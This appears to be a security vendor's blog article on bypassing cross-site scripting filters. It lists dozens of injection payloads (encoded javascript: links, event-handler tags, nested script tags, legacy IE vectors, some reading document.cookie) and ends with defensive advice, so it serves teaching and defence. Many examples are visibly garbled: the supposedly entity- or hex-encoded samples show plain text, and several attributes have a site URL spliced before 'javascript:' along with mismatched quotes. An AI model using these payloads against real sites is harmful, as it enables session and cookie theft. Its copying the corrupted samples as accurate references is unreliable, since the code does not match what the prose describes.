
The Ineffectiveness of Filtering in Preventing Cross-Site Scripting
XSS filter evasion covers numerous methods that attackers can utilize to bypass cross-site scripting (XSS) filters. A successful attack requires both an XSS vulnerability and a way to inject malicious JavaScript into web page code executed by the client to exploit that vulnerability. The concept of XSS filtering is to prevent attacks by identifying and blocking (or stripping away) any code that resembles an XSS attempt. However, there are countless ways of bypassing such filters, making filtering alone insufficient to fully prevent XSS. Before delving into some of the thousands of known filter evasion methods, let’s first take a brief look at the concept and history of XSS filtering.
What is XSS filtering and why is it so challenging?
At the application level, XSS filtering involves user input validation specifically aimed at detecting and preventing script injection attempts. Filtering can be performed locally in the browser, during server-side processing, or by a web application firewall (WAF). While server-side filtering was predominantly used for many years, browser vendors eventually started incorporating their own filters known as XSS auditors to thwart some cross-site scripting attempts from reaching the user.
The idea was for the filter to scan code arriving at the browser to identify common indicators of XSS payloads, like suspicious <script>
tags in unexpected locations. Various approaches to filtering included intricate regular expressions (regex) and blacklists of code strings. If potentially harmful code was detected, the auditor could either block the entire page or just the suspicious code snippet. However, both reactions had drawbacks and could potentially introduce new vulnerabilities and attack vectors, leading to the eventual disappearance of integrated browser filters.
All filtering methods have their limitations. Browser-based XSS filtering is effective only against reflected XSS attacks, where the injected malicious code is directly reflected in the client browser. Client-side filters and auditors are ineffective against non-browser-parsed XSS attacks like DOM-based XSS and stored XSS. Server-side and WAF-based filters can provide some defense against reflected and stored XSS but are powerless against DOM-based attacks, which occur entirely in the browser, with the exploit code never reaching the server. Moreover, attempting XSS filtering within the web application itself is highly complex, can lead to unintended consequences, and demands ongoing maintenance to keep up with emerging exploits.
How attackers circumvent cross-site scripting filters
XSS filtering adds an extra layer of complexity for attackers crafting XSS attacks, as any injected script code must first bypass the filters. While XSS attacks typically target application vulnerabilities and misconfigurations, XSS evasion techniques exploit weaknesses in the filtering performed by the browser, server, or WAF.
There are numerous evasion strategies that can be combined to create countless bypasses. These approaches exploit product-specific interpretations of web technology specifications. A significant portion of a browser’s codebase is dedicated to gracefully handling malformed HTML, CSS, and JavaScript to rectify code before displaying it to the user. XSS filter evasion techniques capitalize on this intricate web of languages, specifications, exceptions, and browser-specific idiosyncrasies to slip malicious code past the filters.
Examples of XSS filter bypass techniques
Filter evasion attempts can target various aspects of web code parsing and processing, resulting in no fixed categories and an ever-evolving list. While blatant script
tag injections are typically rejected, more sophisticated methods and alternative HTML tags can serve as injection vectors. Event handlers, in particular, are commonly used to trigger script execution as they can be tied to legitimate user interactions and are challenging to remove without disrupting functionality. Frequently exploited handlers include onerror
, onclick
, and onfocus
, though most supported event handlers can potentially be used as XSS vectors.
To demonstrate the multitude of ways to bypass an XSS filter, the extensive list presented below represents only a minute fraction of the tools available to attackers. While this summary is not exhaustive, and most examples may only work in specific scenarios, individuals knowledgeable in JavaScript should acknowledge the existence of these quirks alongside conventional syntax.
Character encoding tactics
To evade filters reliant on scanning text for specific suspicious strings, attackers have several methods to encode one or multiple characters. Encodings can also be nested, encoding the same string multiple times using different techniques. The choice of encoding depends on the context, as browsers handle character encoding differently in distinct contexts. The following examples illustrate only a few possibilities, without even delving into Unicode tricks.
To thwart filters searching for a string like javascript:
, characters can be written as HTML entities using ASCII codes:
<a href="javascript:alert('Successful XSS')">Click this link!</a>
To bypass filters scanning for HTML entities in a &#
pattern, ASCII codes in hexadecimal encoding can be utilized:
<a href="javascript:alert(document.cookie)">Click this link!</a>
Base64 encoding serves as a method to obfuscate attack code. The following example triggers an alert displaying “Successful XSS”:
<body onload="eval(atob('YWxlcnQoJ1N1Y2Nlc3NmdWwgWFNTJyk='))">
Each encoded character entity can range from 1 to 7 numeric characters, with any leading zero-padding digits being disregarded. This results in several zero-padded versions for each entity in various encodings. Additionally, note that semicolons are not mandatory at the end of entities:
<a href="javascript:alert('Successful XSS')">Click this link!</a>
Character codes can conceal XSS payloads:
<iframe src=# onmouseover=alert(String.fromCharCode(88,83,83))></iframe>
Whitespace embedding
Browsers exhibit leniency towards whitespace in HTML and JavaScript code, allowing non-printing characters to disrupt filters. It is worth noting that most modern browsers have become less susceptible to such whitespace manipulations, though they may still function in certain contexts.
Tab characters, ignored during code parsing, can divide keywords, as shown in this img
tag (though this method may not be effective in modern browsers):
<img src="https://www.invicti.com/blog/web-security/xss-filter-evasion/java script:al ert("Successful XSS')">
Encodings can be applied to tabs as well:
<img src="java	script:al	ert('Successful XSS')">
Newlines and carriage returns, also disregarded during parsing, can be encoded and used:
<a href="jav
ascript:
ale
rt('Successful XSS')">Visit google.com</a>
Some filters may not anticipate whitespace following the quote in patterns like "javascript:
or 'javascript:
. In practice, a range of spaces and meta characters from 1 to 32 (decimal) will be considered valid:
<a href="   javascript:alert('Successful XSS')">Click this link!</a>
Tag manipulation
If a filter simply scans the code once and removes specific tags like <script>
, nesting them within other tags will retain valid code post-removal:
<scr<script>ipt>document.write("Successful XSS")</scr<script>ipt>
Spaces between attributes can be omitted, and a slash serves as a valid separator between the tag name and attribute name, aiding evasion of whitespace restrictions in inputs:
<img/src="https://www.invicti.com/blog/web-security/xss-filter-evasion/funny.jpg"onload=javascript:eval(alert('Successful XSS'))>
Another whitespace-free example utilizing the svg
tag:
<svg/onload=alert('XSS')>
If restrictions disallow parentheses or single quotes, backticks serve as legitimate substitutions for executing valid JavaScript:
<svg/onload=alert`xss`>
Evasion techniques can also exploit browser attempts to interpret and rectify malformed tags. For instance, the following example omits the href
attribute and quotes:
<a onmouseover=alert(document.cookie)>Go to google.com</a>
An extreme instance highlights a severely damaged img
tag which loads a script once rectified by the browser:
<img """><script src=xssattempt.js></script>">
Additional possibilities in Internet Explorer
Prior to the emergence of Chrome or Firefox (and certainly before Edge), Internet Explorer was predominantly utilized. Due to its numerous non-standard implementations and peculiarities associated with Microsoft technologies, IE offered distinct filter evasion exploits. Despite being deemed outdated and marginal, legacy enterprise applications may still depend on IE-specific features.
While most XSS checks focus on JavaScript, Internet Explorer up to IE10 additionally supported VBScript:
<a href="https://www.invicti.com/blog/web-security/xss-filter-evasion/vbscript:MsgBox("Successful XSS")">Click here</a>
Dynamic properties in IE allow script expressions as CSS values, presenting another evasion avenue:
body { color: expression(alert('Successful XSS')); }
The rare and deprecated dynsrc
attribute offers yet another vector:
<img dynsrc="https://www.invicti.com/blog/web-security/xss-filter-evasion/javascript:alert("Successful XSS')">
Backticks are useful for accommodating both single and double quotes in a script within an img
tag:
<img src=`javascript:alert("The name is 'XSS'")`>
In older IE versions, a script cloaked as an external style sheet could be incorporated:
<link rel="stylesheet" href="http://example.com/xss.css">
Legacy methods
Given the frequent evolution in web technology specifications and implementations, XSS filter bypasses have a brief lifespan. To conclude, here are some antiquated tactics that may not function today but offer insight into the diverse edge cases that surface during the implementation of new specifications while upholding backward compatibility.
Injection into the background image attribute:
<body background="https://www.invicti.com/blog/web-security/xss-filter-evasion/javascript:alert("Successful XSS')">
A similar approach involving a style:
<div style="background-image:url(javascript:alert('Successful XSS'))">
Images devoid of img
tags and with script content replacing the image file:
<input type="image" src="https://www.invicti.com/blog/web-security/xss-filter-evasion/javascript:alert("Successful XSS')">
Embedding script code as the target URL for a meta
tag redirect, which in older browsers could unveil an alert by evaluating Base64-encoded JavaScript code:
<meta http-equiv="refresh" content="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
As a final curiosity, did you know that concealing an XSS payload using UTF-7 encoding was once feasible?
<head><meta http-equiv="content-type" content="text/html; charset=utf-7"></head>
+adw-script+ad4-alert('xss');+adw-/script+ad4-
How can applications be safeguarded against cross-site scripting apart from filtering?
While web application firewalls offer some XSS filtering capabilities, it is essential to remember that this is just one layer of protection among many. With numerous evasion methods and emerging vectors, filtering alone cannot effectively prevent XSS. By crafting secure code that is impervious to XSS attacks, developers can significantly enhance application and user security. This involves treating all user-inputted data as untrusted by default and applying context-specific escaping and encoding correctly. Additionally, robust Content Security Policy (CSP) headers and other HTTP security headers serve as key defenses against cross-site scripting at the HTTP protocol level.
Moreover, regular testing of every site, application, and API is crucial to ensure that new code, updates, and configuration modifications do not introduce exploitable XSS vulnerabilities. Employing enterprise-grade web vulnerability scanners that identify vulnerabilities and security misconfigurations as part of an ongoing process is fundamental to maintaining application security hygiene.